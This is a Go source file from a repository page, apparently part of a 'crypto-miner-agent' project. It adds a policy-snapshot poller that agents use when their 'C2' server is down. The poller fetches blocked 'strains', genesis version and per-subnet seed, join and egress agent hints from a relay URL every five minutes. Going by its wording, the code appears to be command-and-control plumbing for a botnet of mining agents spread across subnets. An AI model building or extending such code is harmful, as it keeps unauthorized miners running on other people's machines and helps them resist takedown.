Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
152 lines
4.1 KiB
Go
152 lines
4.1 KiB
Go
package deploy
|
|
|
|
import (
|
|
"encoding/json"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
const policySnapshotPollInterval = 5 * time.Minute
|
|
|
|
type VaccinationLaneHint struct {
|
|
Subnet, SeedAgent, JoinLane, EgressAgent string
|
|
}
|
|
|
|
type PolicySnapshotBody struct {
|
|
GenesisVersion int `json:"genesis_version"`
|
|
HospiceList []string `json:"hospice_list"`
|
|
VaccinationLanes []policyVaccinationLane `json:"vaccination_lanes"`
|
|
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
|
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
|
}
|
|
|
|
type policyVaccinationLane struct {
|
|
Subnet string `json:"subnet"`
|
|
Lane json.RawMessage `json:"lane,omitempty"`
|
|
}
|
|
|
|
var policySnapshotMu sync.RWMutex
|
|
var policyHospiceStrains map[string]bool
|
|
var policyVaccinationLanes []VaccinationLaneHint
|
|
var policyGenesisVersion int
|
|
|
|
func ApplyPolicySnapshot(body PolicySnapshotBody) {
|
|
policySnapshotMu.Lock()
|
|
defer policySnapshotMu.Unlock()
|
|
policyGenesisVersion = body.GenesisVersion
|
|
if len(body.HospiceList) > 0 {
|
|
policyHospiceStrains = make(map[string]bool, len(body.HospiceList))
|
|
for _, id := range body.HospiceList {
|
|
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
|
policyHospiceStrains[id] = true
|
|
}
|
|
}
|
|
}
|
|
if len(body.VaccinationLanes) > 0 {
|
|
lanes := make([]VaccinationLaneHint, 0, len(body.VaccinationLanes))
|
|
for _, e := range body.VaccinationLanes {
|
|
h := VaccinationLaneHint{Subnet: e.Subnet}
|
|
if len(e.Lane) > 0 {
|
|
var lane struct {
|
|
SeedAgentID string `json:"seed_agent_id"`
|
|
EgressAgentID string `json:"egress_agent_id"`
|
|
JoinLane string `json:"join_lane"`
|
|
}
|
|
if json.Unmarshal(e.Lane, &lane) == nil {
|
|
h.SeedAgent, h.EgressAgent, h.JoinLane = lane.SeedAgentID, lane.EgressAgentID, lane.JoinLane
|
|
}
|
|
}
|
|
lanes = append(lanes, h)
|
|
}
|
|
policyVaccinationLanes = lanes
|
|
}
|
|
}
|
|
|
|
func StrainInPolicyHospice(strain string) bool {
|
|
policySnapshotMu.RLock()
|
|
defer policySnapshotMu.RUnlock()
|
|
return policyHospiceStrains[strings.TrimSpace(strings.ToLower(strain))]
|
|
}
|
|
|
|
func VaccinationHintForSubnet(subnet string) (VaccinationLaneHint, bool) {
|
|
subnet = normalizePolicySubnet(subnet)
|
|
policySnapshotMu.RLock()
|
|
defer policySnapshotMu.RUnlock()
|
|
for _, l := range policyVaccinationLanes {
|
|
if normalizePolicySubnet(l.Subnet) == subnet {
|
|
return l, true
|
|
}
|
|
}
|
|
return VaccinationLaneHint{}, false
|
|
}
|
|
|
|
func PolicyGenesisVersion() int {
|
|
policySnapshotMu.RLock()
|
|
defer policySnapshotMu.RUnlock()
|
|
return policyGenesisVersion
|
|
}
|
|
|
|
func StartZeroServerPolicyMode(cfg config.RuntimeConfig, reconnectFn func() error) {
|
|
if r, p := strings.TrimSpace(cfg.EventBridgeRelayURL), strings.TrimSpace(cfg.PolicySnapshotPollURL); r != "" || p != "" {
|
|
go runPolicySnapshotPoller(r, p)
|
|
return
|
|
}
|
|
StartZeroServerReconnect(reconnectFn)
|
|
}
|
|
|
|
func runPolicySnapshotPoller(relayURL, pollURL string) {
|
|
ticker := time.NewTicker(policySnapshotPollInterval)
|
|
defer ticker.Stop()
|
|
poll := func() {
|
|
url := relayURL
|
|
if url == "" {
|
|
url = pollURL
|
|
}
|
|
body, err := fetchPolicySnapshot(url)
|
|
if err != nil {
|
|
log.Printf("[policy-snapshot] poll failed: %v", err)
|
|
return
|
|
}
|
|
ApplyPolicySnapshot(body)
|
|
}
|
|
poll()
|
|
for range ticker.C {
|
|
poll()
|
|
}
|
|
}
|
|
|
|
func fetchPolicySnapshot(url string) (PolicySnapshotBody, error) {
|
|
resp, err := http.Get(url)
|
|
if err != nil {
|
|
return PolicySnapshotBody{}, err
|
|
}
|
|
defer resp.Body.Close()
|
|
raw, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
|
|
if err != nil {
|
|
return PolicySnapshotBody{}, err
|
|
}
|
|
if resp.StatusCode != http.StatusOK {
|
|
return PolicySnapshotBody{}, errPolicyHTTP(resp.StatusCode)
|
|
}
|
|
var body PolicySnapshotBody
|
|
return body, json.Unmarshal(raw, &body)
|
|
}
|
|
|
|
type policyHTTPError int
|
|
|
|
func (e policyHTTPError) Error() string { return http.StatusText(int(e)) }
|
|
func errPolicyHTTP(c int) error { return policyHTTPError(c) }
|
|
|
|
func normalizePolicySubnet(s string) string {
|
|
s = strings.TrimSpace(s)
|
|
s = strings.TrimSuffix(s, ".0/24")
|
|
s = strings.TrimSuffix(s, "/24")
|
|
return strings.TrimSuffix(s, ".x")
|
|
}
|